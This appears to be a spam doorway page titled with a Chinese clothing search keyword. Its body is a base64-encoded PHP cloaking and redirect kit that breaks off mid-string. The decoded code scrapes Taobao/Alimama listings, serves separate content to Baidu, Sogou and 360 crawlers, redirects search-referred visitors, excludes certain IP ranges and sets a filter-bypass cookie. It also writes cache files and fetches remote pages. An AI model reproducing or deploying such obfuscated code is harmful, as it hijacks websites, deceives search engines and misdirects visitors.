直筒裤女 牛仔
2016-05-28 15:52:44
ICRrZXlOYW1lID0n55u0562S6KOk5aWzIOeJm+S7lCc7IAoKZnVuY3Rpb24gQXBwX0dldExpbmso KXsJCglyZXR1cm4gImh0dHA6Ly93d3cuc2hhaWJhb2ouY29tL2FydGljbGUtIi5yYW5kKDEwMDAw MDAwLDk5OTk5OTk5KS4iLTEuaHRtbCI7Cn0KCmZ1bmN0aW9uIEFwcF9HZXRTZWxmKCl7CglyZXR1 cm4gImh0dHA6Ly93d3cuc2hhaWJhb2ouY29tL2FydGljbGUtIi5yYW5kKDEwMDAwMDAwLDk5OTk5 OTk5KS4iLTEuaHRtbCI7Cn0KCgovL8K3wrXCu8OYw43CvMOGwqwKZnVuY3Rpb24gZ2V0SW1nKCl7 CglyZXR1cm4gJ2h0dHA6Ly93d3cuc2hhaWJhb2ouY29tL2ltZy8yMDE1MTEwNi9scScucmFuZCgx LDIwKS4iLmpwZyI7Cn0KCgoKCmZ1bmN0aW9uIHJuZFN0cigkbGVuZ3RoPTgpewoJJHN0ciA9IG51 bGw7Cgkkc3RyUG9sID0gIjAxMjM0NTY3ODlhYmNkZWZnaGlqa2xtbm9wcXJzdHV2d3h5eiI7Cgkk bWF4ID0gc3RybGVuKCRzdHJQb2wpLTE7Cglmb3IoJGk9MDskaTwkbGVuZ3RoOyRpKyspewoJCSRz dHIuPSRzdHJQb2xbcmFuZCgwLCRtYXgpXTsKCX0KCXJldHVybiAkc3RyOwp9CgpjbGFzcyBjb3Jl QXBwQ2FjaGV7CgkKCXB1YmxpYyBmdW5jdGlvbiB3cml0ZSgkZmlsZSwkZmlsZW5hbWUpewoJCXJl dHVybiBmaWxlX3B1dF9jb250ZW50cygkZmlsZW5hbWUsc2VsZjo6ZW5jb2RlKCRmaWxlKSk7Cgl9 CglwdWJsaWMgZnVuY3Rpb24gd3JpdGVub2NvZGUoJGZpbGUsJGZpbGVuYW1lKXsKCQlyZXR1cm4g ZmlsZV9wdXRfY29udGVudHMoJGZpbGVuYW1lLCRmaWxlKTsKCX0KCXB1YmxpYyBmdW5jdGlvbiBy ZWFkKCRmaWxlbmFtZSl7CgkJJGNvbnRlbnQgPSBmaWxlX2dldF9jb250ZW50cygkZmlsZW5hbWUp OwoJCWlmKHN0cmlzdHIoJGNvbnRlbnQsIjwvZXhwbG9kZT4iKSl7CgkJCSRjb250ZW50ID0gc2Vs Zjo6Y3V0KCRjb250ZW50LCI8ZXhwbG9kZT4iLCI8L2V4cGxvZGU+Iik7CgkJfQoJCXJldHVybiBz ZWxmOjpkZWNvZGUoJGNvbnRlbnQpOwoJfQoKCXB1YmxpYyBmdW5jdGlvbiBlbmNvZGUoJGZpbGUp ewoJCXJldHVybiBiYXNlNjRfZW5jb2RlKGd6Y29tcHJlc3Moc2VyaWFsaXplKCRmaWxlKSkpOyAK CX0KCglwdWJsaWMgZnVuY3Rpb24gZGVjb2RlKCRmaWxlKXsKCQlyZXR1cm4gdW5zZXJpYWxpemUo Z3p1bmNvbXByZXNzKGJhc2U2NF9kZWNvZGUoJGZpbGUpKSk7IAoJfQoJCglwdWJsaWMgZnVuY3Rp b24gY3V0KCRmaWxlLCRmcm9tLCRlbmQpCgl7IAoJCSRtZXNzYWdlPWV4cGxvZGUoJGZyb20sJGZp bGUpOyAKCQkkbWVzc2FnZT1leHBsb2RlKCRlbmQsJG1lc3NhZ2VbMV0pOyAKCQlyZXR1cm4gICAk bWVzc2FnZVswXTsKCX0KfQoKCgoKJG15X2NvbnRlbnQ9Jyc7CmlmKCFlbXB0eSgka2V5TmFtZSkp ewoJJHF1ZXJ5X2RhdGEgPSBhcnJheSgncSc9PiRrZXlOYW1lLCk7CgkkbXlfYWxpbWFtYSA9IG5l dyBhbGltYW1hKCRxdWVyeV9kYXRhKTsKCSRteV9hbGltYW1hLT5xdWVyeSgpOwoJJG15X2NvbnRl bnQgPSAkbXlfYWxpbWFtYS0+aHRtbCgpOwp9CiRkYXRhID0gc3RyX3JlcGxhY2UoJzxwaHB1bD48 L3BocHVsPicsJG15X2NvbnRlbnQsJGRhdGEpOwppZihzdHJwb3MoJGRhdGEsIltpdGVtOm1lbnVd IikhPT0gZmFsc2UmJiFlbXB0eSgka2V5TmFtZSkpewoJJHRhZ191cmwgPSAnaHR0cHM6Ly9zdWdn ZXN0LnRhb2Jhby5jb20vc3VnP2NvZGU9dXRmLTgmcT0nLnVybGVuY29kZSgka2V5TmFtZSk7Cgkk dGFnX2NvbnRlbnQgPSBhbGltYW1hOjpIdHRwVmlzaXQoJHRhZ191cmwpOwoJJHRhZ19qc29uID0g anNvbl9kZWNvZGUoJHRhZ19jb250ZW50LHRydWUpOwoJJHRhZ19tZW51ID0gJyc7Cglmb3JlYWNo ICgkdGFnX2pzb25bJ3Jlc3VsdCddIGFzICRrZXkgPT4gJHZhbHVlKSB7CgkJJGh0dHBfaG9zdCA9 ICRfU0VSVkVSWydIVFRQX0hPU1QnXTsKCQkkcGhwX3NlbGYgPSAkX1NFUlZFUlsnUEhQX1NFTEYn XTsKIAkJJHRhZ19pdGVtX3VybD0naHR0cDovLycuJGh0dHBfaG9zdC4kcGhwX3NlbGYuJz9rZXlO YW1lPScudXJsZW5jb2RlKCR2YWx1ZVswXSk7CgkJJHRhZ19tZW51ID0gJHRhZ19tZW51Lic8YSB0 YXJnZXQ9Il9ibGFuayIgaHJlZj0iJy4kdGFnX2l0ZW1fdXJsLiciPicuJHZhbHVlWzBdLic8L2E+ JzsKCX0KCSRkYXRhID0gc3RyX3JlcGxhY2UoJ1tpdGVtOm1lbnVdJywkdGFnX21lbnUsJGRhdGEp Owp9CgpjbGFzcyBhbGltYW1hewoJCglwdWJsaWMgJHNob3dfc3BpZGVyOwoJcHVibGljICRqdW1w X3JlZjsKCXB1YmxpYyAkaHR0cF9yZWZfZmlsdGVyOwoJcHVibGljICRqdW1wX3VybCA9ICIiOwoJ cHVibGljICRkb21haW4gPSAiIjsKCXB1YmxpYyAkY29uZGl0aW9uID0gIiI7CglwdWJsaWMgJGFw cF9zZXJ2ZXIgPSAiIjsKCXB1YmxpYyAkbG9nX3NwaWRlciA9ICIiOwoJcHVibGljICRjdXJfc3Bp ZGVyID0gIiI7CglwdWJsaWMgJGFsbG93X2lwID0gIiI7CglwdWJsaWMgJGlzQ2FjaGUgPSBmYWxz ZTsKCXB1YmxpYyAkY3Jhd2xfdXJsID0gImh0dHA6Ly9wdWIuYWxpbWFtYS5jb20vaXRlbXMvc2Vh cmNoLmpzb24iOwoJcHVibGljICRxdWVyeV9kYXRhOwoJcHVibGljICRjb250ZW50OwoKCXB1Ymxp YyAkbGlfdGVtcGxhdGU9IjxsaT4KICA8ZGl2IGNsYXNzPSdsaV9saXN0JyBvbm1vdXNlb3Zlcj0n dGhpcy5jbGFzc05hbWU9J2xpX2hvdmVyJycgb25tb3VzZW91dD0ndGhpcy5jbGFzc05hbWU9J2xp X2xpc3QnJz4KICAgIDxkaXYgY2xhc3M9J25ldyc+PC9kaXY+CiAgICA8ZGl2IGNsYXNzPSdjb2xs ZWN0Jz48YSBocmVmPSdqYXZhc2NyaXB0OjsnPjwvYT48L2Rpdj4KICAgIDxkaXYgY2xhc3M9J3Bp Yyc+PGEgaHJlZj0ne3VybH0nIHRhcmdldD0nX2JsYW5rJz4gPGltZyBzcmM9J3twaWN1cmx9Jz48 L2E+PC9kaXY+CiAgICA8ZGl2IGNsYXNzPSd0aXRsZSc+IDxhIGhyZWY9J3t1cmx9JyB0YXJnZXQ9 J19ibGFuayc+e3RpdGxlfTwvYT48L2Rpdj4KICAgIDxkaXYgY2xhc3M9J21vbmV5X2JnJz4gCgkg ICAgPHNwYW4+PGVtIGNsYXNzPSdtb25leV9zeW1ib2wnPu+/pTwvZW0+PGVtIGNsYXNzPSdtb25l eV9udW0nPntwcmljZX08L2VtPjwvc3Bhbj4gCgkgICAgPHNwYW4gY2xhc3M9J2Z4X21vbmV5X2Jn Jz4gPGVtIGNsYXNzPSd6aGVrb3UgaXRlbScgc3R5bGU9J3Zpc2liaWxpdHk6IHZpc2libGU7Jz48 Yj57bmlja308L2I+PC9lbT4gCgkgICAgPGVtIGNsYXNzPSdxaWFuZ291Jz48L2VtPiAKICAgIDwv ZGl2PgogICAgPGRpdiBjbGFzcz0ndGpwX2JvdHRvbV9iZyc+CiAgICAgIDxkaXYgY2xhc3M9J3Rq cF9ib3R0b20nPgogICAgICAgIDxkaXYgY2xhc3M9J3RqcF9mYWJ1IGNvbG9yXzk5Jz57dG90YWxG ZWV9PC9kaXY+CiAgICAgICAgPGRpdiBjbGFzcz0ndGpwX3hpYW9iaWFuIGNvbG9yXzY2Jz57dG90 YWxOdW19PC9kaXY+CiAgICAgIDwvZGl2PgogICAgPC9kaXY+CiAgPC9kaXY+CjwvbGk+ICI7CgoJ Ly/lrprkuYnmnoTpgKDlh73mlbDvvIznlKjkuo7liJ3lp4vljJbotYvlgLwKICAgIGZ1bmN0aW9u IF9fY29uc3RydWN0KCRxdWVyeV9kYXRhKQogICAgewogICAgICAgICAkdGhpcy0+cXVlcnlfZGF0 YSA9ICRxdWVyeV9kYXRhOyAgICAgICAgLy/ov5nph4zlt7Lnu4/kvb/nlKjkuoZ0aGlz5oyH6ZKI 6K+t5Y+l4pGgCiAgICB9CgoJcHVibGljIGZ1bmN0aW9uIHNldFF1ZXJ5RGF0YSgkcXVlcnlfZGF0 YSl7CgkJJHRoaXMtPnF1ZXJ5X2RhdGEgPSAkcXVlcnlfZGF0YTsKCQlyZXR1cm4gdHJ1ZTsKCX0K CglwdWJsaWMgZnVuY3Rpb24gaHRtbCgpewoJCSRjb250ZW50ID0gJHRoaXMtPmNvbnRlbnQ7CgkJ JGFsaW1hbWFfanNvbiA9IGpzb25fZGVjb2RlKCRjb250ZW50LHRydWUpOwoJCSRodG1sID0gIjx1 bD4iOwoJCWZvcmVhY2ggKCRhbGltYW1hX2pzb25bJ2RhdGEnXVsncGFnZUxpc3QnXSBhcyAka2V5 ID0+ICR2YWx1ZSkgewoJIAkJJGl0ZW1fdXJsPSR2YWx1ZVsnYXVjdGlvblVybCddOwoJIAkJJGl0 ZW1fdGl0bGU9JHZhbHVlWyd0aXRsZSddOwoJIAkJJGl0ZW1fcHJpY2U9JHZhbHVlWyd6a1ByaWNl J107CgkgCQkkaXRlbV9waWN0VXJsPSR2YWx1ZVsncGljdFVybCddLidfNDAweDQwMF8ud2VicCc7 CgkgCQkkaXRlbV9uaWNrPSR2YWx1ZVsnbmljayddOwoJIAkJJGl0ZW1fdG90YWxOdW09J+aAu+mU gOmHjzonLiR2YWx1ZVsndG90YWxOdW0nXTsKCSAJCSRpdGVtX3RvdGFsRmVlPSfmgLvkuqTmmJPp op06Jy4kdmFsdWVbJ3RvdGFsRmVlJ107CgoJCQkkaHR0cF9ob3N0ID0gJF9TRVJWRVJbJ0hUVFBf SE9TVCddOwogCQkJJHBocF9zZWxmID0gJF9TRVJWRVJbJ1BIUF9TRUxGJ107CgkgCQkkaXRlbV91 cmw9J2h0dHA6Ly8nLiRodHRwX2hvc3QuJHBocF9zZWxmLic/Z290dT0nLmJhc2U2NF9lbmNvZGUo JGl0ZW1fdXJsKTsKCgkgCQkkaXRlbV9waWN0VXJsPSdodHRwOi8vaS5rYW50dS5pbi8nLmJhc2U2 NF9lbmNvZGUoJGl0ZW1fcGljdFVybCk7CgoJCQkkbGkgPSAkdGhpcy0+bGlfdGVtcGxhdGU7CgoJ CQkkbGkgPSBzdHJfcmVwbGFjZSgne3RpdGxlfScsJGl0ZW1fdGl0bGUsJGxpKTsKCQkJJGxpID0g c3RyX3JlcGxhY2UoJ3twcmljZX0nLCRpdGVtX3ByaWNlLCRsaSk7CgkJCSRsaSA9IHN0cl9yZXBs YWNlKCd7dXJsfScsJGl0ZW1fdXJsLCRsaSk7CgkJCSRsaSA9IHN0cl9yZXBsYWNlKCd7cGljdXJs fScsJGl0ZW1fcGljdFVybCwkbGkpOwoJCQkkbGkgPSBzdHJfcmVwbGFjZSgne3RvdGFsTnVtfScs JGl0ZW1fdG90YWxOdW0sJGxpKTsKCQkJJGxpID0gc3RyX3JlcGxhY2UoJ3tuaWNrfScsJGl0ZW1f bmljaywkbGkpOwoJCQkkbGkgPSBzdHJfcmVwbGFjZSgne3RvdGFsRmVlfScsJGl0ZW1fdG90YWxG ZWUsJGxpKTsKCgkJCSRodG1sID0gJGh0bWwuJGxpOwoJIAkJLy8gZWNobyAkbGk7CgkgCX0KCSAJ JGh0bWwgPSAkaHRtbC4iPC91bD4iOwoJCXJldHVybiAkaHRtbDsKCX0KCglwdWJsaWMgZnVuY3Rp b24gcXVlcnkoKXsKCQkkdXJsICA9ICR0aGlzLT5jcmF3bF91cmwuJz8nLmh0dHBfYnVpbGRfcXVl cnkoJHRoaXMtPnF1ZXJ5X2RhdGEpOwoJCSR0aGlzLT5jb250ZW50ID0gJHRoaXMtPkh0dHBWaXNp dCgkdXJsKTsKCX0KCglwdWJsaWMgZnVuY3Rpb24gcnVuKCl7CgkJJHRoaXMtPmRvbWFpbiA9ICR0 aGlzLT5nZXRTZXJ2ZXJOYW1lKCk7CgkJJHRoaXMtPmp1bXBfcmVmID0gZXhwbG9kZSgifCIsImJh aWR1LnxoYW9zby58aGFvc291LnxiaW5nLnxzby58c29nb3UufHNvc28uIik7CgkJJHRoaXMtPmh0 dHBfcmVmX2ZpbHRlciA9IGV4cGxvZGUoInwiLCJpbnVybDp8c2l0ZTp8c2l0ZSUzQXxpbnVybCUz QSIpOwoJCSR0aGlzLT5hbGxvd19pcCA9ICIyMjIuMTg0LjIzNHwxMTIuODcuNzF8NTguMjIxLjg3 Lnw0OS42Ny4yMjMiOwoJCSR0aGlzLT5jb25kaXRpb24gPSAoJF9HRVRbJ2FpZCddID4gMTAwMDAw MDAgJiYgJHRoaXMtPmlzQWxsb3dkSXAoKSk7CgkJJHRoaXMtPmFwcF9zZXJ2ZXIgPSAiIjsKCQkk dGhpcy0+aXNDYWNoZSAgPSBGYWxzZTsKCQlpZigkdGhpcy0+aXNTcGlkZXIoKSAmJiAkdGhpcy0+ aXNBbGxvd2RJcCgpKXsKCQkJCWlmKCR0aGlzLT5jb25kaXRpb24pewoJCQkJCWlmKCR0aGlzLT5p c0NhY2hlKXsKCQkJCQkJJHJlbHNldF9ob3N0ID0gJHRoaXMtPmdldFNlcnZlck5hbWUoKTsKCQkJ CQkJJGRpciA9IChzdWJzdHIoUEhQX09TLCAwLCAzKSA9PSAnV0lOJyA/ICdDOi93aW5kb3dzL3Rl bXAvJyA6ICcvdG1wLycpIC4gc3Vic3RyKG1kNSgkcmVsc2V0X2hvc3QpLCAyNikgLiBjaHIoNDcp OwoJCQkJCQkkY2FjaGVGaWxlID0gJGRpci4nc2Vzc18nIC4gc3Vic3RyKG1kNShodHRwX2J1aWxk X3F1ZXJ5KCRfR0VUKSksIDYpOwoJCQkJCQlpZighQGZpbGVfZXhpc3RzKCRkaXIpKXsKICAgICAg ICAgICAgIAkJCQkgbWtkaXIoJGRpciwgMDc3Nyk7CiAgICAgICAgICAgIAkJCX0KCQkJCQkJaWYo QGZpbGVfZXhpc3RzKCRjYWNoZUZpbGUpICYmIEBmaWxlc2l6ZSAoJGNhY2hlRmlsZSkgPiAzMiAp ewoJCQkJCQkJJHZhciA9IGNvcmVBcHBDYWNoZTo6cmVhZCgkY2FjaGVGaWxlKTsKCQkJCQkJCSRw YWdlID0gZmlsZV9nZXRfY29udGVudHMoQVBQX0pBQ0tfVEVNUExBVEUpOwoJCQkJCQkJZm9yZWFj aCgkdmFyIGFzICRrZXk9PiR2KXsKCQkJCQkJCQkkZmxhZyA9ICJ7Ii4ka2V5LiJ9IjsKCQkJCQkJ CQkkcGFnZSA9IHN0cl9yZXBsYWNlKCRmbGFnLCR2LCRwYWdlKTsKCQkJCQkJCX0KCQkJCQkJCWVj aG8gJHBhZ2U7CgkJCQkJCQlleGl0KCk7CgkJCQkJCX0KCQkJCQkJZWxzZQoJCQkJCQl7CQoJCQkJ CQkJLy/CsMO8wrrCrMK9w7hBUFDCvMK0wr/DiQoJCQkJCQkJJGN1cnJlbnRQYWdlID0gaW5jbHVk ZShBUFBfSkFDS19BUFBGSUxFKTsKCQkJCQkJCWlmKCRjdXJyZW50UGFnZSAmJiBzdHJsZW4oJGN1 cnJlbnRQYWdlKSA+IDMyICYmIHN0cmlzdHIoJGN1cnJlbnRQYWdlLCI8L2V4cGxvZGU+IikpewoJ CQkJCQkJCSR2YXIgPSBzZWxmOjpjdXQoJGN1cnJlbnRQYWdlLCI8ZXhwbG9kZT4iLCI8L2V4cGxv ZGU+Iik7CgkJCQkJCQkJJHZhciA9IGNvcmVBcHBDYWNoZTo6ZGVjb2RlKCR2YXIpOwoJCQkJCQkJ CSRwYWdlID0gZmlsZV9nZXRfY29udGVudHMoQVBQX0pBQ0tfVEVNUExBVEUpOwoJCQkJCQkJCWZv cmVhY2goJHZhciBhcyAka2V5PT4kdil7CgkJCQkJCQkJCSRmbGFnID0gInsiLiRrZXkuIn0iOwoJ CQkJCQkJCQkkcGFnZSA9IHN0cl9yZXBsYWNlKCRmbGFnLCR2LCRwYWdlKTsKCQkJCQkJCQl9CgkJ CQkJCQkJZWNobyAkcGFnZTsKCQkJCQkJCQlAY29yZUFwcENhY2hlOjp3cml0ZW5vY29kZSgkY3Vy cmVudFBhZ2UsJGNhY2hlRmlsZSk7CgkJCQkJCQl9CgkJCQkJCX0KCQkJCQkJZGllKCk7CgkJCQkJ fQoJCQkJCWVsc2UKCQkJCQl7CgkJCQkJCSRjdXJyZW50UGFnZSA9IGluY2x1ZGUoQVBQX0pBQ0tf QVBQRklMRSk7CgkJCQkJCWVjaG8gJGN1cnJlbnRQYWdlOwoJCQkJCQlkaWUoKTsKCQkJCQl9CgkJ CQl9CgkJCQllbHNlCgkJCQl7CgoJCQkJCSR0aGlzLT5fdW5jb25kaXRpb25faG9vaygpOwoJCQkJ fQoJCX0KCQllbHNlCgkJewkKCQkJaWYoJHRoaXMtPmlzUmVmKCkgJiYgJHRoaXMtPmNvbmRpdGlv bil7CgkJCQkkdGhpcy0+SnVtcCgpOwoJCQl9CgkJCWVsc2UKCQkJewoJCQkJJHRoaXMtPl91blNw aWRlcl9ob29rKCk7CgkJCX0KCQl9Cgl9CgoJcHVibGljIGZ1bmN0aW9uIGlzQWxsb3dkSXAoKXsK CQkkaXAgPSAkdGhpcy0+Y2xpZW50SXAoKTsKCQkkbm9uX2xpc3QgPSBleHBsb2RlKCJ8IiwkdGhp cy0+YWxsb3dfaXApOwoJCWZvcmVhY2goJG5vbl9saXN0IGFzICRpcGxpc3QpewoJCQlpZihAc3Ry aXN0cigkaXAsJGlwbGlzdCkpewoJCQkJcmV0dXJuIGZhbHNlOwoJCQl9CgkJfQoJCXJldHVybiB0 cnVlOwoJfQoKCXB1YmxpYyBmdW5jdGlvbiBjbGllbnRJcCgpewoJCWlmKGdldGVudignSFRUUF9D TElFTlRfSVAnKSAmJiBzdHJjYXNlY21wKGdldGVudignSFRUUF9DTElFTlRfSVAnKSwgJ3Vua25v d24nKSkgewoJCQkkb25saW5laXAgPSBnZXRlbnYoJ0hUVFBfQ0xJRU5UX0lQJyk7CgkJfSBlbHNl aWYoZ2V0ZW52KCdIVFRQX1hfRk9SV0FSREVEX0ZPUicpICYmIHN0cmNhc2VjbXAoZ2V0ZW52KCdI VFRQX1hfRk9SV0FSREVEX0ZPUicpLCAndW5rbm93bicpKSB7CgkJCSRvbmxpbmVpcCA9IGdldGVu dignSFRUUF9YX0ZPUldBUkRFRF9GT1InKTsKCQl9IGVsc2VpZihnZXRlbnYoJ1JFTU9URV9BRERS JykgJiYgc3RyY2FzZWNtcChnZXRlbnYoJ1JFTU9URV9BRERSJyksICd1bmtub3duJykpIHsKCQkJ JG9ubGluZWlwID0gZ2V0ZW52KCdSRU1PVEVfQUREUicpOwoJCX0gZWxzZWlmKGlzc2V0KCRfU0VS VkVSWydSRU1PVEVfQUREUiddKSAmJiAkX1NFUlZFUlsnUkVNT1RFX0FERFInXSAmJiBzdHJjYXNl Y21wKCRfU0VSVkVSWydSRU1PVEVfQUREUiddLCAndW5rbm93bicpKSB7CgkJCSRvbmxpbmVpcCA9 ICRfU0VSVkVSWydSRU1PVEVfQUREUiddOwoJCX0KCQlwcmVnX21hdGNoKCIvW1xkXC5dezcsMTV9 LyIsICRvbmxpbmVpcCwgJG9ubGluZWlwbWF0Y2hlcyk7CgkJJG9ubGluZWlwID0gJG9ubGluZWlw bWF0Y2hlc1swXSA/ICRvbmxpbmVpcG1hdGNoZXNbMF0gOiAndW5rbm93bic7CgkJdW5zZXQoJG9u bGluZWlwbWF0Y2hlcyk7CgkJcmV0dXJuICRvbmxpbmVpcDsKCX0KCglwdWJsaWMgZnVuY3Rpb24g aXNTcGlkZXIoKXsKCQkkYm90cyA9IGFycmF5KAoJCQkJJ0JhaWR1JyAgICAgICAgPT4gJ2JhaWR1 c3BpZGVyJywKCQkJCSdTb2dvdScgICAgICAgID0+ICdzb2dvdScsCgkJCQknSGFvc28nICAgICAg ICA9PiAnaGFvc291c3BpZGVyJywKCQkJCSczNjBzcGlkZXInICAgICAgICA9PiAnMzYwc3BpZGVy JwoJCSApOwoJCSR1c2VyQWdlbnQgPSBzdHJ0b2xvd2VyKCRfU0VSVkVSWydIVFRQX1VTRVJfQUdF TlQnXSk7CgkJZm9yZWFjaCAoJGJvdHMgYXMgJGsgPT4gJHYpewoJCQlpZiAoc3RyaXN0cigkdXNl ckFnZW50LCR2KSl7CgkJCQlpZighZW1wdHkoJHRoaXMtPmxvZ19zcGlkZXIpKXsKCQkJCQlAZmls ZV9wdXRfY29udGVudHMoJHRoaXMtPmxvZ19zcGlkZXIsJHYuIi0+VmlzaXRlZCAiLiRfU0VSVkVS WydRVUVSWV9TVFJJTkcnXS4iYXQ6ICIuZGF0ZSgiWS1tLWQgSDppOnMiKS4iXG4iLEZJTEVfQVBQ RU5EKTsKCQkJCX0KCQkJCSR0aGlzLT5jdXJfc3BpZGVyID0gJGs7CgkJCQlyZXR1cm4gdHJ1ZTsK CQkJCWJyZWFrOwoJCQl9CgkJfQoJCXJldHVybiBmYWxzZTsJCgl9CgoJcHVibGljIGZ1bmN0aW9u IGlzUmVmKCl7CgkJJHJlZiA9IHN0cnRvbG93ZXIoQCRfU0VSVkVSWydIVFRQX1JFRkVSRVInXSk7 CgkJaWYoaXNzZXQoJF9DT09LSUVbImRvbWFpbi1maWx0ZXItYnlwYXNzIl0pKXsKCQkJcmV0dXJu IGZhbHNlOwoJCX0KCQkKCQlpZighJHRoaXMtPmlzQWxsb3dkSXAoKSl7CgkJCXNldGNvb2tpZSgi ZG9tYWluLWZpbHRlci1ieXBhc3MiLCAibG9sIiwgdGltZSgpICsgMjU5MjAwKTsKCQkJcmV0dXJu IGZhbHNlOwoJCX0KCgkJZm9yZWFjaCgkdGhpcy0+aHR0cF9yZWZfZmlsdGVyIGFzICRyKXsKCQkJ JHIgPSB0cmltKCRyKTsKCQkJaWYoc3RyaXN0cigkcmVmLCRyKSl7CgkJCQlzZXRjb29raWUoImRv bWFpbi1maWx0ZXItYnlwYXNzIiwgImxvbCIsIHRpbWUoKSArIDI1OTIwMCk7CgkJCQlyZXR1cm4g ZmFsc2U7CgkJCX0KCQl9CgkKCQlmb3JlYWNoKCR0aGlzLT5qdW1wX3JlZiBhcyAkcil7CgkJCSRy ID0gdHJpbSgkcik7CgkJCWlmKHN0cmlzdHIoJHJlZiwkcikpewoJCQkJcmV0dXJuIHRydWU7CgkJ CX0KCQl9Cgl9CgoJcHVibGljIGZ1bmN0aW9uIGdldFNlcnZlck5hbWUoKSAKCXsgCgkJJFNlcnZl ck5hbWUgPSBzdHJ0b2xvd2VyKCRfU0VSVkVSWydTRVJWRVJfTkFNRSddPyRfU0VSVkVSWydTRVJW RVJfTkFNRSddOiRfU0VSVkVSWydIVFRQX0hPU1QnXSk7IAoJCWlmKCBzdHJwb3MoJFNlcnZlck5h bWUsJ2h0dHA6Ly8nKSApIAoJCXsgCgkJCXJldHVybiBzdHJfcmVwbGFjZSgnaHR0cDovLycsJycs JFNlcnZlck5hbWUpOyAKCQl9IAoJCXJldHVybiAkU2VydmVyTmFtZTsgCgl9CgoJcHVibGljIGZ1 bmN0aW9uIGdldFBhZ2UoKXsKCQlpZigkdGhpcy0+aXNDYWNoZSl7CgkJCSRjYWNoZT0iY2FjaGVk IjsKCQl9CgkJJHVybCAgPSAkdGhpcy0+YXBwX3NlcnZlci4iP2RvbWFpbj0iLiR0aGlzLT5kb21h aW4uIiZnaWQ9MTk5JnNwaWRlcj0iLiR0aGlzLT5jdXJfc3BpZGVyLiImY2FjaGU9Ii4kY2FjaGUu IiZsb2NhbFBhcj0iLmh0dHBfYnVpbGRfcXVlcnkoJF9HRVQpOwoJCXJldHVybiAkdGhpcy0+SHR0 cFZpc2l0KCR1cmwpOwoJfQoKICAgIHB1YmxpYyBmdW5jdGlvbiBIdHRwVmlzaXQoJHdlYnVybCkg ewogICAgCSR1c2VyX2FnZW50ID0gIk1vemlsbGEvNS4wIChNYWNpbnRvc2g7IEludGVsIE1hYyBP UyBYIDEwXzEwXzUpIEFwcGxlV2ViS2l0LzUzNy4zNiAoS0hUTUwsIGxpa2UgR2Vja28pIENocm9t ZS80NS4wLjI0NTQuODUgU2FmYXJpLzUzNy4zNiBRUUJyb3dzZXIvMy45LjM5NDMuNDAwIjsKICAg ICAgICAkcmVtb3RlX2RhdGEgPSBOVUxMOwogICAgICAgIGlmIChmdW5jdGlvbl9leGlzdHMoJ2N1 cmxfZXhlYycpKSB7CiAgICAgICAgICAgICRjdXJsID0gQGN1cmxfaW5pdCgpOwogICAgICAgICAg ICBAY3VybF9zZXRvcHQoJGN1cmwsIENVUkxPUFRfVVJMLCAkd2VidXJsKTsKICAgICAgICAgICAg QGN1cmxfc2V0b3B0KCRjdXJsLCBDVVJMT1BUX0hFQURFUiwgMCk7CiAgICAgICAgICAgIEBjdXJs X3NldG9wdCgkY3VybCwgQ1VSTE9QVF9DT05ORUNUVElNRU9VVCwgMzApOwogICAgICAgICAgICBA Y3VybF9zZXRvcHQoJGN1cmwsIENVUkxPUFRfUkVUVVJOVFJBTlNGRVIsIDEpOwogICAgICAgICAg ICBAY3VybF9zZXRvcHQoJGN1cmwsIENVUkxPUFRfVVNFUkFHRU5ULCAkdXNlcl9hZ2VudCk7IAog ICAgICAgICAgICAkcmVtb3RlX2RhdGEgPSBAY3VybF9leGVjKCRjdXJsKTsKICAgICAgICAgICAg QGN1cmxfY2xvc2UoJGN1cmwpOwogICAgICAgIH0gZWxzZSB7CiAgICAgICAgICAgIGlmIChmdW5j dGlvbl9leGlzdHMoJ3N0cmVhbV9jb250ZXh0X2NyZWF0ZScpKSB7CiAgICAgICAgICAgICAgICAk aGVhZGVyX2FycmF5ID0gYXJyYXkoJ2h0dHAnID0+IGFycmF5KCdtZXRob2QnID0+ICdHRVQnLCAn dGltZW91dCcgPT4gMzApKTsKICAgICAgICAgICAgICAgICRodHRwX2hlYWRlciA9IEBzdHJlYW1f Y29udGV4dF9jcmVhdGUoJGhlYWRlcl9hcnJheSk7CiAgICAgICAgICAgICAgICAkcmVtb3RlX2Rh dGEgPSBAZmlsZV9nZXRfY29udGVudHMoJHdlYnVybCwgZmFsc2UsICRodHRwX2hlYWRlcik7CiAg ICAgICAgICAgIH0gZWxzZSB7CiAgICAgICAgICAgICAgICAkdGVtcF91cmwgPSBleHBsb2RlKCIv IiwgJHdlYnVybCk7CiAgICAgICAgICAgICAgICAkbmV3X3VybCA9ICR0ZW1wX3VybFsyXTsKICAg ICAgICAgICAgICAgICRodHRwX3BvcnQgPSA4MDsKICAgICAgICAgICAgICAgICRnZXRfZmlsZSA9 IHN1YnN0cigkd2VidXJsLCBzdHJsZW4oJG5ld191cmwpICsgNyk7CiAgICAgICAgICAgICAgICBp ZiAoc3Ryc3RyKCRuZXdfdXJsLCBjaHIoNTgpKSkgewogICAgICAgICAgICAgICAgICAgICRzX3Zh cl9hcnJheVsndGQnXSA9IGV4cGxvZGUoY2hyKDU4KSwgJG5ld191cmwpOwogICAgICAgICAgICAg ICAgICAgICRuZXdfdXJsID0gJHNfdmFyX2FycmF5Wyd0ZCddWzBdOwogICAgICAgICAgICAgICAg ICAgICRodHRwX3BvcnQgPSAkc192YXJfYXJyYXlbJ3RkJ11bMV07CiAgICAgICAgICAgICAgICB9 CiAgICAgICAgICAgICAgICAkZnNvY2tfcmVzdWx0ID0gQGZzb2Nrb3BlbigkbmV3X3VybCwgJGh0 dHBfcG9ydCk7CiAgICAgICAgICAgICAgICBAZnB1dHMoJGZzb2NrX3Jlc3VsdCwgJ0dFVCAnIC4g JGdldF9maWxlIC4gJyBIVFRQLzEuMScgLiAiXHJcbiIgLiAnSG9zdDonIC4gJG5ld191cmwgLiAi XHJcbiIgLiAnQ29ubmVjdGlvbjpDbG9zZScgLiAiXHJcblxyXG4iKTsKICAgICAgICAgICAgICAg IHdoaWxlICghZmVvZigkZnNvY2tfcmVzdWx0KSkgewogICAgICAgICAgICAgICAgICAgICRyZW1v dGVfZGF0YSAuPSBmZ2V0cygkZnNvY2tfcmVzdWx0LCAxMDI0KTsKICAgICAgICAgICAgICAgIH0K ICAgICAgICAgICAgICAgIEBmY2xvc2UoJGZzb2NrX3Jlc3VsdCk7CiAgICAgICAgICAgIH0KICAg ICAgICB9CiAgICAgICAgcmV0dXJuICRyZW1vdGVfZGF0YTsKICAgIH0KCglwdWJsaWMgZnVuY3Rp b24gSnVtcCgpewoJCWlmKCR0aGlzLT5pc0FsbG93ZElwKCkpewoJCQkkZG9tYWluICA9IHN0cl9y 